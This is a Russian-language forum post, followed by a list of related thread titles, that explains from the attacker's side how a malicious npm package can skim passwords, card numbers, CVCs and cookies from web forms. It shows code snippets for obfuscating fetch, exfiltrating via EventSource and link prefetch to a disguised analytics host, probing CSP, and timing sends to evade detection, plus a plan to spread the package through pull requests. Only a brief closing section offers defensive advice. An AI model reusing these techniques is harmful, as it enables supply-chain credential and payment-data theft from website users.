Интересно Как могут украсть ваши «учётки» через npm-пакет

Uno-uno

Пользователь
1-32.jpg




Кража паролей лишит вас доступа к своей странице или может оставить без кругленькой суммы – вот оно, счастье злоумышленника.

Рассмотрим один интересный способ, как кража паролей может быть успешно реализована.
Заполучить пароль или номер кредитной карты можно многими способами. Далее речь пойдет о том, как это делается при помощи внедрения кода в npm-пакет. Вредоносный код, который и выполняет всю грязную работу, занимается поиском на странице браузера чего-либо из представленного ниже:

любая форма для ввода;

Элемент со свойством, в названии которого встречается «password», «cardnumber», «cvc», «checkout» и т. д.

Если после события submit искомая информация найдена, на этой страничке есть чем поживиться.

Из каждого поля формы извлекаем информацию (document.forms.forEach(…) );

собираем «печеньки»: document.cookie;

все это дело оборачивается всегда в рандомную строку: const payload = btoa(JSON.stringify(sensitiveUserData));

а после, отправляется на промежуточный хост: https://legit-analyt...m?q=${payload};

и в случае наличия полезностей – отправляется на сервер хакера.

Перевернем мир
Чтобы это счастье вышло в свет, нужно как-то заставить код попасть на потенциальные сайты-доноры. Можно пытаться пробиться через расширения браузеров, но это не так эффективно. Межсайтовый скриптинг – хороший вариант, но у него (у XSS) есть свои протоколы безопасности, и снова не те масштабы. Гораздо лучше подойдет npm.

Можно изобрести пакет, который будет на лету менять цвет консольного вывода в браузере.
Заставляем принять этот “полезный” апдейт в свои зависимости, при помощи пулл-реквеста для нескольких (любых) существующих пакетов в сети, и ждать.

Через месяц имеем 120000 скачиваний этого обновления и выполнение кода на более чем 1000 сайтов. Конечно же, это не панацея, и велика вероятность, что эфемерное обновление пакета не примут с распростертыми объятиями, но это безопасно, и есть шанс, что быстро не засекут.
Звучит все гладко и красиво, но есть некоторые вопросы, которые могут появиться у пытливого читателя, и их нужно развенчать.

Сетевые запросы от скрипта – код почти ничего не отправляет, т. е. постоянного обмена трафиком нет. Отсылка собранного материала происходит с 19:00 до 7:00, когда безопасники и прочие тестеры уже ничего не тестируют. Даже если тестировщик и захочет отличиться, код подменяет URL на “левый”, схожий с социальными сетями, и отправка происходит всегда в разное время: вот такой эффект неожиданности.

Поиск “странностей” в npm. Удачи! Временные и ресурсные затраты несопоставимы, ну а если и найдется что-то, то в коде нет и намека на fetch, XMLHttpRequest или адрес хоста, на который все отправляется.

Код:

Код:
const i = ‘gfudi‘;
const k = s => s.split(‘‘).map(c => String.fromCharCode(c.charCodeAt() - 1)).join(‘‘)
self[k(i)](urlWithYourPreciousData);

«gfudi» – это fetch, но с переставленными буквами на одну, а self – это алиас window. Не используется ничего обычного, как fetch. Вместо этого, везде где можно, нужно применять EventSource(urlВашихЛюбимыхДанных). Даже если трафик буду слушать по serviceWorker-у, никто ничего не заподозрит т. к. ничего не отправляется в браузерах, которые поддерживают serviceWorker.

Использование CSP в качестве защиты. С точки зрения CSP наш код ничего запрещенного не делает, кроме отправки данных на какой-то домен. Да, CSP неплохо справляется с XSS-атаками и может ограничивать общение браузера с внешним миром, но действия скрипта не настолько масштабны, чтобы можно было что-то проанализировать.

Код:

Код:
const linkEl = document.createElement(‘link‘);
linkEl.rel = ‘prefetch‘;
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Чтобы не поплатиться за взлом, нужно проверять CSP на наличие функционирующей системы блокировки (connect-src) и инструмент-перехватчик (default-src). Сделать это можно так:

Код:

Код:
fetch(document.location.href)
.then(resp => {
const csp = resp.headers.get(‘Content-Security-Policy‘);

// Смотрим, как работает CSP });

Проверять нужно в первый раз, чтобы пользователь, и прочие надзиратели ничего не заподозрили.

Куда теперь бежать?

Теперь подумаем от лица пользователя или разработчика: “Все плохо, наши пароли уже в даркнете!”. Чтобы попытаться избежать провала, нельзя использовать npm на страницах с формами, и прочими собирающими компонентами.

Нельзя использовать стороннюю рекламу, Google Tag Manager, скрипты с диаграммами, аналитику – никакого постороннего кода быть не должно, иначе можно получить инъекцию. Это касается только страниц, где пользователь что-то вводит, остальная же часть сайта может спокойно работать на React-е и не беспокоиться.

Вам нужна отдельная страница, которая не имеет ничего лишнего и уже в ней собирать номера кредиток, пароли и учетные данные в iFrame.

Кража паролей осуществляется и при помощи фишинга (подделывание настоящего сайта инфицированной копией). Если хакер сможет завладеть вашим почтовым ящиком, то плакали все регистрации и банковские счета, которые были привязаны к этой почте. За 2017 год было взломано 12 млн. учетных записей.

Вполне успешным является и кейлогерство – 1 млн. пользователей пострадал, именно из-за этого вредоноса.

Заключение
Никому нельзя доверять, и оставлять сайт с известными уязвимостями строго запрещено, т. к. в мире огромное количество желающих полакомиться чем-то ценным. Любой сайт уязвим, и список этих брешей постоянно меняется: не забывайте держать руку на пульсе.
 
Похожие темы
E Как с вашей карты могут легко украсть деньги Уязвимости и взлом 2
G Кратко о том как вас могут найти. Полезные статьи 4
C Как вас могут вычислить даже при условии использования Tor Browser. Анонимность и приватность 0
Admin Интересно Тест-драйв: как избавиться от сомнений в выборе ИБ-решения за 7 дней. Новости в сети 0
Admin Интересно Как управлять скрытыми ИИ-инструментами без замедления работы сотрудников. Новости в сети 0
Admin Интересно Ошибка из 2018 и подставные аккаунты. Рассказываем, как популярный пакет art-template начал атаковать айфоны. Новости в сети 0
Admin Интересно Сотрудник ушёл, а доступ остался. Как забытая учётка открыла хакерам путь к водоснабжению целого города. Новости в сети 0
Admin Интересно Роботы научились двигаться как живая материя. Новости в сети 0
Admin Интересно Идентификация как основной вектор атак в современных системах безопасности. Новости в сети 0
Admin Интересно Студенты возмущены после того, как ИИ пропустил сотни имён на выпускной церемонии. Новости в сети 0
Admin Интересно Как небольшая группа пользователей может ухудшить рекомендации в TikTok. Новости в сети 0
Admin Интересно Как небольшая группа пользователей может испортить рекомендации на TikTok. Новости в сети 0
Admin Интересно Как снизить риск фишинга до того, как он приведёт к сбоям в бизнесе. Новости в сети 0
Admin Интересно Как автоматизация ИБ закрывает угрозы без рутины. Новости в сети 0
Admin Интересно VPN, просевший трафик и минус 7 млрд руб. Как новые требования Минцифры ударили по маркетплейсам. Новости в сети 0
Admin Интересно Как анализ собственных инструментов помогает снизить риски кибератак. Новости в сети 0
Admin Интересно Практический вебинар: Как PT NGFW защищает от атак в реальном времени. Новости в сети 0
Admin Интересно ИИ уходит на дно: плавучие серверы в океане как новый этап развития технологий. Новости в сети 0
Admin Интересно Мы искали инопланетян не там? Жизнь прячется не в молекулах, а в том, как они организованы. Новости в сети 0
Admin Интересно Как спрятать секрет с помощью недоказуемой математики? Учёный обошёл 30-летний запрет в криптографии. Новости в сети 0
Admin Интересно Anthropic рассказала, как отучила искусственный интеллект угрожать людям. Новости в сети 0
Admin Интересно Безопасность КИИ: что изменилось и как выстроить защиту. Новости в сети 0
Admin Интересно Звездные каннибалы и космические ДТП. Как во Вселенной появляются самые тяжелые черные дыры. Новости в сети 0
Admin Интересно Азбука Морзе, Grok и $200 000: как один пост в X заставил ИИ-агента перевести токены. Новости в сети 0
Admin Интересно ФБР также читает чаты. Как переписка в мессенджере стоила хакеру восьми лет свободы. Новости в сети 0
Admin Интересно Защита или цензура? История о том, как Касперский стал личным Роскомнадзором на MacBook. Новости в сети 0
Admin Интересно Первый удар по VPN в США: как Юта хочет запретить анонимность, не имея на это технических средств. Новости в сети 0
Admin Интересно Исследователь показал, как отследить австралийских полицейских через Bluetooth. Новости в сети 0
Admin Интересно Галактике 400 миллионов лет, но она выглядит на миллиарды. Уэбб нашёл невозможного красного монстра — и астрономы не понимают, как он успел повзрослет Новости в сети 0
Admin Интересно Целились в Starlink — попали в iPhone. Как новый запрет на спутниковое оборудование создал правовую неопределённость для всего рынка смартфонов. Новости в сети 0
Admin Интересно СМС, которую вы никогда не прочитаете. Как спецслужбы находят «важных персон» за пару часов. Новости в сети 0
Admin Интересно Скафандры не готовы, Луна ждёт. Как бюрократия срывает планы NASA вернуться на Луну. Новости в сети 0
Admin Интересно ИИ врёт так же, как раньше. Но теперь он делает это мило — и вы ему доверяете. Новости в сети 0
Admin Интересно Азартные игры, долги и переписка двух гениев. Как ссора из-за 100 долларов создала современную математику. Новости в сети 0
Admin Интересно Приключения казаха в южнокорейских сетях. Как жадность довела взломщика до тюрьмы. Новости в сети 0
Admin Интересно Что скрыто за вымогательством: как работает индустрия ransomware. Новости в сети 0
Admin Интересно Режиссёры защищают использование ИИ для воссоздания Вэла Килмера в новом фильме как «этичное». Новости в сети 0
Admin Интересно Частица, которая спасла бы физику. Стерильное нейтрино искали 30 лет — как жаль, что оно оказалось миражом. Новости в сети 0
Admin Интересно Вашему RDP поставили «лайк». История о том, как горстка серверов прочесала Интернет и нашла все изъяны. Новости в сети 0
Admin Интересно Русские хакеры против картошки фри. Как взлом кассы самообслуживания обернулся годом условно. Новости в сети 0
Admin Интересно Тройная порция шантажа под соусом анонимности. Как одна банда притворяется сразу тремя разными группировками. Новости в сети 0
Admin Интересно Как соседей России заставляют выбирать между Европой и личным спокойствием. Новости в сети 0
Admin Интересно Позвони мне через пылесос. Как выживает рунет после блокировки мессенджеров. Новости в сети 0
Admin Интересно Ускоритель частиц размером с карандаш. Мощность — как у километрового. И это работает. Новости в сети 0
Admin Интересно Война правок и логотипов: Как Euro-Office поссорился с ONLYOFFICE из-за лицензии. Новости в сети 0
Admin Интересно Цифры врали. Не специально — просто их сложили неправильно. Вот как парадокс Симпсона ломает статистику. Новости в сети 0
Admin Интересно Цифровые активы после смерти: как управлять рисками для цифрового наследства. Новости в сети 0
Admin Интересно Тихий взлом и полная невидимость. Рассказываем, как новый вирус RoadK1ll захватывает корпоративные сети. Новости в сети 0
Admin Интересно Как заморозить воду быстрее? Сначала вскипятите её и плюньте на здравый смысл. Новости в сети 0
Admin Интересно Откройте доступ к коду из любой точки мира. Как работает новый проект rustunnel. Новости в сети 0

Название темы